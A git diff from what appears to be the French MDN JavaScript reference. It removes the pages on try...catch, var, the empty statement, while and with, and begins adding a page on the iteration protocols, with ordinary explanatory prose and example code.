{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.throw")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/try...catch","try...catch")}}
    • -
  • {{jsxref("Error")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/try...catch/index.html b/files/fr/web/javascript/reference/instructions/try...catch/index.html deleted file mode 100644 index ae1d13b6d5..0000000000 --- a/files/fr/web/javascript/reference/instructions/try...catch/index.html +++ /dev/null @@ -1,306 +0,0 @@ ---- -title: try...catch -slug: Web/JavaScript/Reference/Instructions/try...catch -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/try...catch ---- -
{{jsSidebar("Statements")}}
- -

L'instruction try...catch regroupe des instructions à exécuter et définit une réponse si l'une de ces instructions provoque une exception.

- -
{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}
- - - -

Syntaxe

- -
try {
-   instructions_try
-}
-[catch (exception_var_1 if condition_1) { // non-standard
-   instructions_catch_1
-}]
-...
-[catch (exception_var_2) {
-   instructions_catch_2
-}]
-[finally {
-   instructions_finally
-}]
-
- -
-
instructions_try
-
Les instructions qu'on souhaite exécuter.
-
- -
-
instructions_catch_1, instructions_catch_2
-
Les instructions à exécuter si une exception est levée dans le bloc try.
-
- -
-
exception_var_1, exception_var_2
-
Un identifiant qui permet de récupérer la valeur de l'exception associée à la clause catch.
-
- -
-
condition_1
-
Une expression conditionnelle.
-
- -
-
instructions_finally
-
Les instructions à exécuter une fois que l'instruction try est terminée. Ces instructions s'exécuteront, qu'il y ait eu une exception ou non.
-
- -

Description

- -

L'instruction try est composée d'un bloc try contenant une ou plusieurs instructions, d'au moins une clause catch ou d'une clause finally ou des deux. On peut donc avoir les trois formes suivantes pour cette instruction :

- -
    -
  1. try...catch
    2. -
  2. try...finally
    3. -
  3. try...catch...finally
    4. -
- -

Une clause catch contient les instructions à exécuter si une exception est levée par une instruction du bloc try. On souhaite généralement que le bloc try se déroule sans problème. Si toutefois une erreur se produit, on veut pouvoir contrôler ce qui se passe et on transmet donc le contrôle au bloc catch. Si une instruction contenue dans le bloc try (ou une fonction appelée depuis le bloc try) renvoie une exception, le contrôle sera immédiatement passé à la clause catch. Si aucune exception n'est levée, la clause catch ne sera pas utilisée.

- -

La clause finally s'exécute après le bloc try et après le bloc catch (si celui-ci a été déclenché) mais avant les instructions qui suivent. Les instructions de cette clause sont toujours exécutées, qu'il y ait eu ou non une exception de déclenchée et/ou d'interceptée.

- -

Il est possible d'imbriquer plusieurs instructions try. Si un try imbriqué ne possède pas de clause catch, la clause catch du try du niveau supérieur sera utilisée (et ainsi de suite).

- -

Pour plus d'informations sur les exceptions et les erreurs en JavaScript, voir le chapitre du Guide JavaScript correspondant.

- -

Clause catch inconditionnelle

- -

Lorsqu'une seule clause catch inconditionnelle est utilisée, le bloc catch est utilisée pour n'importe quelle exception qui est levée. Ainsi, dans le fragment de code qui suit, pour toute exception produite, le contrôle de l'exécution passera à la clause catch.

- -
try {
-   throw "monException"; // génère une exception
-}
-catch (e) {
-   // les instructions utilisées pour gérer les
-   // exceptions
-   logErreurs(e); // on transfère l'objet de l'exception à une méthode
-                  // gestionnaire
-}
-
- -

La clause catch définit un identifiant (dans l'exemple précédent, c'est e) qui contient la valeur définie par l'instruction throw. Ce bloc catch est en quelque sorte unique en JavaScript car l'identifiant est créé lors de l'entrée dans le bloc catch, la valeur est alors ajoutée à la portée courant et la durée de vie de l'identifiant est limitée au bloc catch. Une fois que le bloc catch a été exécuté, l'identifiant n'est plus disponible.

- -

Clauses catch conditionnelles

- -

{{non-standard_header}}

- -

Il est aussi possible d'utiliser une ou plusieurs clauses catch conditionnelles afin de gérer des exceptions spécifiques. Dans ce cas, selon l'exception produite, la clause catch appropriée sera utilisée. Dans l'exemple qui suit, le code contenu dans le bloc try peut produire trois exceptions : {{jsxref("TypeError")}}, {{jsxref("RangeError")}}, et {{jsxref("EvalError")}}. Lorsqu'une exception se produit, le contrôle de l'exécution est passé à la clause catch correspondante. SI l'exception qui est déclenchée ne correspond à aucune des conditions, le contrôle passera à la clause catch non-conditionnelle si elle est trouvée..

- -

Si on utilise une clause catch inconditionnelle avec une ou plusieurs clauses catch conditionnelles, la clause inconditionnelle doit être spécifiée en dernière. Si ce n'est pas le cas, la clause catch inconditionnelle interceptera tous les types d'exceptions avant les autres clauses.

- -
try {
-    maRoutine(); // peut déclencher trois types d'exceptions
-} catch (e if e instanceof TypeError) {
-    // les instructions pour gérer TypeError
-} catch (e if e instanceof RangeError) {
-    // les instructions pour gérer RangeError
-} catch (e if e instanceof EvalError) {
-    // les instructions pour gérer EvalError
-} catch (e) {
-    // les instructions pour gérer les autres exceptions
-}
-
- -

Dans le fragment de code qui suit, on aura le même fonctionnement mais en utilisant uniquement des fonctionnalités standard (selon ECMAScript). Ce code est plus long mais fonctionne pour tous les environnements conformes à ECMAScript :

- -
try {
-    maRoutine(); // may throw three types of exceptions
-} catch (e) {
-    if (e instanceof TypeError) {
-        // les instructions pour gérer TypeError
-    } else if (e instanceof RangeError) {
-        // les instructions pour gérer RangeError
-    } else if (e instanceof EvalError) {
-        // les instructions pour gérer EvalError
-    } else {
-       // les instructions pour gérer les autres exceptions
-    }
-}
-
- -

L'identifiant de l'exception

- -

Lorsqu'une exception est levée dans le bloc try, exception_var (par exemple le e dans « catch (e) ») contient la valeur définie par l'instruction {{jsxref("Instructions/throw","throw")}}. Cet identifiant peut être utilisé pour accéder aux propriétés de l'objet et ainsi obtenir des informations sur l'exception qui a eu lieu. Cet identifiant est local à la clause catch, il est créé lorsqu'on rentre dans la clause catch et n'est plus disponible une fois que la clause a fini son exécution.

- -
function isValidJSON(txt){
-  try {
-    JSON.parse(txt);
-    return true;
-  } catch {
-    return false;
-  }
-}
- -

La clause finally

- -

La clause finally contient les instructions à exécuter après que les instructions du bloc try et éventuellement celles de la clause catch aient été exécutées mais avant que les instructions suivant l'instruction try soient exécutées. La clause finally est exécutée dans tous les cas (si on a eu une exception ou non). Si une exception est levée et qu'il n'y a pas de clause catch, les instructions de la clause finally sont tout de même exécutées.

- -

Cela peut paraître étrange qu'un bloc de code qui s'exécute même lorsqu'il y a une exception… Il faut comprendre que le code qui suit le bloc try...catch ne sera pas exécuté. Aussi, le bloc finally permet de contenir toutes les instructions de clôture/nettoyage nécessaire. On évite donc de dupliquer ce code qui doit toujours être utilisé.

- -

La clause finally peut être utilisée afin d'exécuter les actions nécessaires pour que le script « échoue correctement » en cas d'erreur. On peut par exemple tirer parti de finally pour fermer un flux, libérer une ressource, etc. Dans l'exemple suivant, exécuté côté serveur, le script accède à un fichier. Si une exception se produit lorsque le fichier est ouvert, la clause finally permet de fermer le fichier avant que le script échoue. Le code contenu dans le bloc finally sera exécuté même si on a une instruction return dans la section try ou dans la section catch.

- -
ouvrirMonFichier()
-try {
-   // on utilise une ressource
-   écrireDansMonFichier(mesDonnées);
-}
-finally {
-   fermerMonFichier(); // on ferme toujours la ressource
-}
-
- -

Exemples

- -

Blocs try imbriqués

- -

Tout d'abord, on utilise ce fragment de code, qui produit le résultat suivant :

- -
try {
-  try {
-    throw new Error("oups");
-  }
-  finally {
-    console.log("finally");
-  }
-}
-catch (ex) {
-  console.error("externe", ex.message);
-}
-
-// Produira dans la console :
-// "finally"
-// "externe" "oups"
-
- -

Et maintenant, si on a déjà intercepté l'exception avec une clause catch dans le bloc imbriqué :

- -
try {
-  try {
-    throw new Error("oups");
-  }
-  catch (ex) {
-    console.error("interne", ex.message);
-  }
-  finally {
-    console.log("finally");
-  }
-}
-catch (ex) {
-  console.error("externe", ex.message);
-}
-
-// Produira dans la console:
-// "interne" "oups"
-// "finally"
-
- -

Ensuite, si on propage l'erreur à nouveau :

- -
try {
-  try {
-    throw new Error("oups");
-  }
-  catch (ex) {
-    console.error("interne", ex.message);
-    throw ex;
-  }
-  finally {
-    console.log("finally");
-  }
-}
-catch (ex) {
-  console.error("externe", ex.message);
-}
-
-// Produira dans la console :
-// "interne" "oups"
-// "finally"
-// "externe" "oups"
-
- -

Toute exception ne sera interceptée qu'une seule fois par le bloc catch le plus « proche » à moins qu'elle ne soit retransmise à nouveau. Bien entendu, toute exception qui aura été levée par le bloc interne (il se peut que les instructions d'une clause catch provoquent une erreur) sera interceptée par le bloc externe.

- -

Valeur de retour et bloc finally

- -

Lorsque le bloc finally renvoie une valeur, c'est cette valeur qui devient la valeur de retour pour l'ensemble du bloc try-catch-finally et ce, peu importe, s'il y a des instructions {{jsxref("Instructions/return","return")}} dans les blocs try et catch. Cela inclue également les exceptions levées dans le bloc catch :

- -
try {
-  try {
-    throw new Error("oups");
-  }
-  catch (ex) {
-    console.error("interne", ex.message);
-    throw ex;
-  }
-  finally {
-    console.log("finally");
-    return;
-  }
-}
-catch (ex) {
-  console.error("externe", ex.message);
-}
-
-// Produira dans la console :
-// "interne" "oups"
-// "finally"
-
- -

Le "oups" externe n'est pas renvoyé car l'instruction return est utilisée dans la clause finally du bloc interne. Cela aurait également été le cas avec n'importe quelle valeur renvoyée par le bloc catch.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.14', 'instruction try')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-try-statement', 'Instruction try')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}{{Spec2('ESDraft')}}Points ne faisant pas partie du standard ECMA-262 actuel : utilisation de plusieurs clauses catch et de plusieurs clauses conditionnelles (extension liée à SpiderMonkey, correspondant à JavaScript 1.5).
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.try_catch")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("Instructions/throw", "throw")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/var/index.html b/files/fr/web/javascript/reference/instructions/var/index.html deleted file mode 100644 index 31814763b0..0000000000 --- a/files/fr/web/javascript/reference/instructions/var/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: var -slug: Web/JavaScript/Reference/Instructions/var -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/var ---- -
{{jsSidebar("Statements")}}
- -

L'instruction var (pour variable) permet de déclarer une variable et éventuellement d'initialiser sa valeur.

- -
{{EmbedInteractiveExample("pages/js/statement-var.html")}}
- - - -

Syntaxe

- -
var nomVar1 [= valeur1] [, nomVar2 [= valeur2] ... [, nomVarN [= valeurN]]];
- -
-
nomvarN
-
Le nom de la variable, cela peut être n'importe quel identifiant valide.
-
- -
-
valeurN
-
La valeur initiale à affecter à la variable, cela peut être n'importe quelle expression valide. S'il n'y a aucune valeur fournie, la variable vaudra {{jsxref("undefined")}}.
-
- -

Description

- -

Les déclarations de variables sont traitées avant que le code soit exécuté, quel que soit leur emplacement dans le code. La portée d'une variable déclarée avec var est le contexte d'exécution courant, c'est-à-dire : la fonction qui contient la déclaration ou le contexte global si la variable est déclarée en dehors de toute fonction.

- -

Si on affecte une valeur à une variable qui n'a pas été déclarée (le mot-clé var n'a pas été utilisé), cela devient une variable globale (une propriété de l'objet global) lorsque l'affectation est exécutée. Les différences entre les variables déclarées et les variables non-déclarées sont :

- -
    -
  1. Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non-déclarées sont toujours globales. - 
    function x() {
-  y = 1;   // Lève une exception ReferenceError en mode strict
-  var z = 2;
-}
-
-x();
-
-console.log(y); // Affiche "1" dans la console
-console.log(z); // Lève une exception ReferenceError:
-                // z n'est pas définie en dehors de x
-
    -
    2. -
  2. Les variables déclarées sont créées avant que n'importe quel autre code soit exécuté. Les variables non-déclarées n'existent pas tant que leur code n'est pas exécuté. - 
    console.log(a);                // Lève une exception ReferenceError.
-console.log('on continue...'); // N'est jamais exécuté
    - - 
    var a;
-console.log(a);                // Affiche "undefined".
-console.log('on continue...'); // Affiche "on continue...".
    -
    3. -
  3. Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction courante ou le contexte global). Les variables non-déclarées sont configurables (ce qui signifie qu'elles peuvent être supprimées). - 
    var a = 1;
-b = 2;
-
-delete this.a; // Lève une TypeError en mode strict. Échoue silencieusement sinon.
-delete this.b;
-
-console.log(a, b); // Lève une exception ReferenceError.
-// La propriété 'b' a été supprimée et n'existe plus.
    -
    4. -
- -

En raison de ces trois différences, il faut éviter de ne pas déclarer une variable car cela peut provoquer des résultats inattendus. Il est donc fortement recommandé de toujours déclarer les variables, qu'elles soient dans une fonction ou dans la portée globale. Le mode strict, introduit avec ECMAScript 5, lève une exception lorsqu'une variable n'est pas déclarée.

- -

La remontée de variables (hoisting)

- -

Les déclarations de variables (et les déclarations en général) sont traitées avant que n'importe quel autre code soit exécuté. Ainsi, déclarer une variable n'importe où dans le code équivaut à la déclarer au début de son contexte d'exécution. Cela signifie qu'une variable peut également apparaître dans le code avant d'avoir été déclarée. Ce comportement est appelé « remontée » (hoisting en anglais) car la déclaration de la variable est « remontée » au début de la fonction courante ou du contexte global.

- -
bla = 2
-var bla;
-// ...
-
-// est implicitement traité comme :
-
-var bla;
-bla = 2;
-
- -

Étant donné ce comportement, il est recommandé de toujours déclarer les variables au début de leurs portées (le début du code global ou le début du corps de la fonction) afin de mieux (sa)voir quelles variables font partie de la fonction et lesquelles proviennent de la chaîne de portées.

- -

Il est important de noter que la remontée des variables affecte uniquement la déclaration et pas l'initialisation de la valeur. La valeur sera affectée lorsque le moteur accèdera à l'instruction d'affectation. Par exemple :

- -
function faireQuelqueChose() {
-  console.log(truc); // undefined
-  var truc = 111;
-  console.log(truc); // 111
-}
-
-// Correspond en fait à :
-function faireQuelqueChose() {
-  var truc;
-  console.log(truc); // undefined
-  truc = 111;
-  console.log(truc); // 111
-}
-
- -

Exemples

- -

Déclarer et initialiser deux variables

- -
var a = 0, b = 0;
-
- -

Affecter deux variables avec la même chaîne de caractères

- -
var a = "A";
-var b = a;
-
-// est équivalent à :
-
-var a, b = a = "A";
-
- -

Attention à l'ordre :

- -
var x = y, y = 'A';
-console.log(x + y); // undefinedA
-
- -

Ici, x et y sont déclarées avant que n'importe quel code soit exécuté, les affectations sont réalisées après ! Au moment où x = y est évalué, y existe donc on n'a pas d'erreur {{jsxref("ReferenceError")}} mais sa valeur est {{jsxref("undefined")}}. Ainsi, x reçoit la valeur undefined. Ensuite, y reçoit la valeur 'A'. Après la première ligne de code, on a donc la situation où x === undefined && y === 'A', ce qui explique le résultat.

- -

Initialiser plusieurs variables

- -
var x = 0; // Variable dans la portée globale (le fichier)
-
-function f(){
-  var x = y = 1; // x est déclaré localement
-                 // ce qui n'est pas le cas de y !
-}
-f();
-
-console.log(x, y); // 0, 1
-// x a bien la valeur globale attendue
-// y a été contaminé dans la fonction !
-// Une exception ReferenceError sera levée en mode
-// strict car y n'est pas défini dans cette portée
-
- -

Les variables globales implicites

- -

Il est possible de faire référence à des variables qui sont des variables globales implicites depuis la portée d'une fonction externe :

- -
var x = 0;  // Déclare x comme variable globale du fichier, on lui affecte 0
-
-console.log(typeof z); // "undefined", car z n'existe pas encore
-
-function a() {
-  var y = 2;   // Déclare y dans la portée de la fonction a
-               // Affecte 2 comme valeur à y
-
-  console.log(x, y);   // 0 2
-
-  function b() {
-    x = 3;  // Affecte 3 à la variable globale x
-            // Ne crée pas une nouvelle variable globale
-    y = 4;  // Affecte 4 à la variable externe y,
-            // Ne crée pas une nouvelle variable globale
-    z = 5;  // Crée une nouvelle variable globale
-            // et lui affecte la valeur 5.
-  }         // (lève une ReferenceError en mode strict.)
-
-  b();     // Crée z en tant que variable globale
-  console.log(x, y, z);  // 3 4 5
-}
-
-a();                   // l'appel à a() entraîne un appel à b()
-console.log(x, z);     // 3 5
-console.log(typeof y); // "undefined" car y est local à la fonction a
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-12.2', 'instruction var')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-variable-statement', 'instruction de variable')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.var")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/let","let")}}
    • -
  • {{jsxref("Instructions/const","const")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/vide/index.html b/files/fr/web/javascript/reference/instructions/vide/index.html deleted file mode 100644 index de3761892a..0000000000 --- a/files/fr/web/javascript/reference/instructions/vide/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: vide -slug: Web/JavaScript/Reference/Instructions/Vide -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/Empty ---- -
{{jsSidebar("Statements")}}
- -

Une instruction vide est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.

- -
{{EmbedInteractiveExample("pages/js/statement-empty.html")}}
- - - -

Syntaxe

- -
;
-
- -

Description

- -

L'instruction vide est représentée par un point-virgule (;) qui indique qu'il n'y a aucune instruction à exécuter, même si JavaScript requiert une instruction à cet emplacement. Le comportement réciproque, où on souhaite exécuter plusieurs instructions là où JavaScript en attend une est possible grâce à l'instruction bloc qui permet de combiner plusieurs instructions en une seule.

- -

Exemples

- -

L'instruction vide peut être utilisée dans les boucles. Par exemple, ici on a un corps de boucle totalement vide :

- -
var arr = [1, 2, 3];
-
-// Affecter 0 pour toutes les valeurs du tableau
-for (i = 0; i < arr.length; arr[i++] = 0) /* instruction vide */ ;
-
-console.log(arr)
-// [0, 0, 0]
-
- -
-

Note : Cela peut être raisonnable que de commenter l'utilisation d'une instruction vide pour la rendre visible et l'expliciter. Par exemple, dans le code qui suit, le point-virgule ne semble pas intentionnel :

-
- -
if (condition);  // Attention, ce "if" ne fait rien !
-   finDuMonde()  // Cette méthode est donc toujours lancée !!!
-
- -

Un autre exemple avec une instruction {{jsxref("Instructions/if...else")}} sans accolade ({}). Si trois vaut true, rien ne sera exécuté, peu importera la valeur de quatre, la fonction chargerFusée() ne sera pas exécutée.

- -
if (un)
-  faire1èreEtape();
-else if (deux)
-  faire4èmeEtape();
-else if (trois)
-  ; // rien ici
-else if (quatre)
-  faire4èmeEtape();
-else
-  chargerFusée();
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-empty-statement', 'Instruction vide')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-empty-statement', 'instruction vide')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.3', 'instruction vide')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.3', 'instruction vide')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.3', 'instruction vide')}}{{Spec2('ES1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.empty")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/block", "L'instruction de bloc","",1)}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/while/index.html b/files/fr/web/javascript/reference/instructions/while/index.html deleted file mode 100644 index b04851c347..0000000000 --- a/files/fr/web/javascript/reference/instructions/while/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: while -slug: Web/JavaScript/Reference/Instructions/while -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/while ---- -
{{jsSidebar("Statements")}}
- -

L'instruction while permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.

- -
{{EmbedInteractiveExample("pages/js/statement-while.html")}}
- - - -

Syntaxe

- -
while (condition) instruction
- -
-
condition
-
Une expression qui est évaluée avant chaque passage dans la boucle. Si cette expression est évaluée à vrai, instruction est exécutée. Lorsque la condition n'est pas vérifiée, l'exécution se poursuit avec l'instruction qui suit la boucle while.
-
instruction
-
Une instruction optionnelle qui doit être exécutée tant que la condition d'entrée est vérifiée. Afin d'exécuter plusieurs instructions au sein de la boucle, on utilisera généralement un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) pour les regrouper.
- Note : on pourra utiliser l'instruction break afin d'arrêter une boucle avant que la condition soit vérifiée.
-
- -

Exemples

- -

La boucle while qui suit s'exécute tant que n est strictement inférieur à 3.

- -
var n = 0;
-var x = 0;
-
-while (n < 3) {
-  n++;
-  x += n;
-}
- -

À chaque itération, la boucle incrémente la valeur de n et l'ajoute à x. Ainsi, x et n prennent les valeurs suivantes :

- -
    -
  • Après la première itération : n = 1 et x = 1
    • -
  • Après la deuxième itération : n = 2 et x = 3
    • -
  • Après la troisième itération : n = 3 et x = 6
    • -
- -

Une fois que la troisième itération est exécutée, la condition n < 3 n'est plus vérifiée et donc la boucle se termine.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-while-statement', 'while statement')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.while")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/do...while","do...while")}}
    • -
  • {{jsxref("Instructions/for", "for")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/with/index.html b/files/fr/web/javascript/reference/instructions/with/index.html deleted file mode 100644 index 8eec25496e..0000000000 --- a/files/fr/web/javascript/reference/instructions/with/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: with -slug: Web/JavaScript/Reference/Instructions/with -tags: - - Déprécié - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/with ---- -
{{jsSidebar("Statements")}}
- -
Il n'est pas recommandé d'utiliser l'instruction with. En effet, elle est parfois source de problèmes de compatibilité ou de bogues. Se référer au paragraphe « Inconvénient : l'ambiguïté » de la section « Description » pour plus de détails.
- -

L'instruction with permet d'étendre la portée chaînée d'une instruction.

- -

Syntaxe

- -
with (expression) {
-  instruction
-}
-
- -
-
expression
-
L'expression fournie est ajoutée à la portée chaînée utilisée lors de l'évaluation de l'instruction. Les parenthèses sont obligatoires.
-
instruction
-
N'importe quelle instruction. Afin d'utiliser plusieurs instructions, on peut utiliser un bloc d'instructions ({ ... }) pour les regrouper.
-
- -

Description

- -

Dès qu'un nom non-qualifié est utilisé, JavaScript cherche dans la chaîne des portées associée à l'exécution une fonction ou un script qui contiendrait ce nom. L'instruction with ajoute l'objet donné à la tête de la chaîne des portées lors de l'évaluation des instructions qu'elle contient. Si un nom non-qualifié est utilisé parmi ces instructions correspond à une propriété de la chaîne des portées, le nom sera alors lié à la propriété et à l'objet contenant cette propriété, sinon une erreur ReferenceError est renvoyée.

- -
L'utilisation de l'instruction with n'est pas recommandée et est interdite dans le mode strict d'ECMAScript 5. L'alternative recommandée est d'assigner l'objet utilisant les propriétés désirées à une variable temporaire.
- -

Avantages et inconvénients : les performances

- -
    -
  • Avantage : l'instruction with permet de réduire la taille d'un fichier en réduisant la répétition d'un objet dont la dénomination est longue, et ce sans qu'il y ait d'impact sur les performances. Le changement apporté à la chaîne des portées ne représente pas un ajout de complexité important. Utiliser l'instruction de with soulagera l'interpréteur lors de l'analyses des références objets potentiellement longues. On notera que l'alternative présentée ci-dessus permet également d'aboutir à ces avantages.
    • -
  • Inconvénient : en utilisant with, l'objet spécifié sera utilisé à chaque fois en premier lors de la recherche des noms. Ainsi, tous les identifiants qui ne sont pas des membres de l'objet donné à l'instruction seront trouvés plus lentement. Quand il s'agit d'obtenir de bonnes performances, l'instruction with devrait seulement être utilisée pour englober des fragments de codes où il n'y a que des accès à des membres de l'objet spécifié.
    • -
- -

Inconvénient : l'ambiguïté

- -
    -
  • Inconvénient : l'instruction with peut rendre plus compliquée, que ce soit pour un humain ou un compilateur, la recherche d'un nom non-qualifié le long de la chaîne des portées. Ainsi, avec cet exemple : - - 
    function f(x, o) {
-  with (o)
-    console.log(x);
-}
    - -

    ce n'est que quand f est appelée que x est trouvé ou non, s'il est trouvé à partir de o ou (si o n'a pas de telle propriété) dans l'objet d'activation de f où x représente le premier argument de la fonction. Si x n'est pas défini dans l'objet passé en second argument, il n'y aura pas d'erreur renvoyée, juste des résultats imprévus.

    -
    • -
  • Inconvénient : Du code utilisant l'instruction with pourrait ne pas être compatible dans le futur, en particulier lorsqu'il est utilisé avec autre chose qu'un objet simple. Par exemple : -
    - 
    function f(toto, values) {
-  with (toto) {
-    console.log(values)
-  }
-}
-
    - -

    Si vous appelez f([1,2,3], obj) dans un environnement ECMAScript 5, la référence à values à l'intérieur de l'instruction with sera liée avec obj. Cependant, ECMAScript 2015 (ES6) a introduit une propriété values pour {{jsxref("Array.prototype")}} (afin qu'elle soit disponible pour chaque tableau). Dans un environnement ECMAScript 2015, la référence à values utilisée à l'intérieur de l'instruction with sera résolue avec [1,2,3].values.

    -
    -
    • -
- -

Exemples

- -

Utiliser with

- -

L'instruction with suivante indique que l'objet {{jsxref("Math")}} est l'objet par défaut. Les instructions qui suivent font référence à la propriété {{jsxref("Math.PI")}} et aux méthodes {{jsxref("Math.cos()")}} et {{jsxref("Math.sin()")}}, sans objet spécifié. JavaScript utilise donc l'objet Math pour ces références.

- -
var a, x, y;
-var r = 10;
-
-with (Math) {
-  a = PI * r * r;
-  x = r * cos(PI);
-  y = r * sin(PI / 2);
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-with-statement', 'with statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-with-statement', 'Instruction with')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.10', 'Instruction with')}}{{Spec2('ES5.1')}}Désormais interdit en mode strict.
{{SpecName('ES3', '#sec-12.10', 'Instruction with')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.10', 'Instruction with')}}{{Spec2('ES1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.with")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/bloc", "Bloc d'instructions","",1)}}
    • -
  • {{jsxref("Strict_mode","Mode strict","",1)}}
    • -
  • {{jsxref("Symbol.unscopables")}}
    • -
  • {{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}
    • -
diff --git a/files/fr/web/javascript/reference/iteration_protocols/index.html b/files/fr/web/javascript/reference/iteration_protocols/index.html new file mode 100644 index 0000000000..26a89a63e8 --- /dev/null +++ b/files/fr/web/javascript/reference/iteration_protocols/index.html @@ -0,0 +1,353 @@ +--- +title: Les protocoles d'itération +slug: Web/JavaScript/Reference/Les_protocoles_iteration +tags: + - ECMAScript 2015 + - Intermédiaire + - Iterator + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Iteration_protocols +--- +
{{jsSidebar("More")}}
+ +

Un des ajouts à ECMAScript 2015 (ES6) n'est ni une nouvelle syntaxe ni un nouvel objet natif mais des protocoles. Ces protocoles peuvent être implémentés par n'importe quel objet qui respecte certaines conventions.

+ +

Il existe deux protocoles concernant l'itération : le protocole « itérable » et le protocole « itérateur ».

+ +

Le protocole « itérable »

+ +

Le protocole « itérable » permet aux objets JavaScript de définir ou de personnaliser leur comportement lors d'une itération, par exemple la façon dont les valeurs seront parcourues avec une boucle {{jsxref("Instructions/for...of", "for..of")}}. Certains types natifs tels que {{jsxref("Array")}} ou {{jsxref("Map")}} possèdent un comportement itératif par défaut, d'autres types, comme {{jsxref("Object")}} n'ont pas ce type de comportement.

+ +

Afin d'être itérable, un objet doit implémenter la méthode @@iterator, cela signifie que l'objet (ou un des objets de sa chaîne de prototypes) doit avoir une propriété avec une clé @@iterator qui est accessible via {{jsxref("Symbol.iterator")}} :

+ + + + + + + + + + + + + + +
PropriétéValeur
[Symbol.iterator]Une fonction sans argument qui renvoie un objet conforme au protocole itérateur.
+ +

Lorsqu'on doit itérer sur un objet (ex. : au début d'une boucle for..of), sa méthode @@iterator est appelée sans argument et l'itérateur qui est renvoyé est utilisé afin d'obtenir les valeurs sur lesquelles itérer.

+ +

Le protocole « itérateur »

+ +

Le protocole « itérateur » définit une façon standard pour produire une suite de valeurs (finie ou infinie) ainsi qu'une valeur de retour lorsque toutes les valeurs ont été générées.

+ +

Un objet est considéré comme un itérateur lorsqu'il implémente une méthode next() avec la sémantique suivante :

+ + + + + + + + + + + + +
PropriétéValeur
next +

Une fonction sans argument qui renvoie un objet qui possède au moins deux propriétés :

+ +
    +
  • done (un booléen) + +
      +
    • Qui vaut true lorsque l'itérateur a fini la suite. Dans ce cas, la propriété value sera facultative et permettra de spécifier la valeur de retour de l'itérateur. Les valeurs de retour sont détaillées ici.
      • +
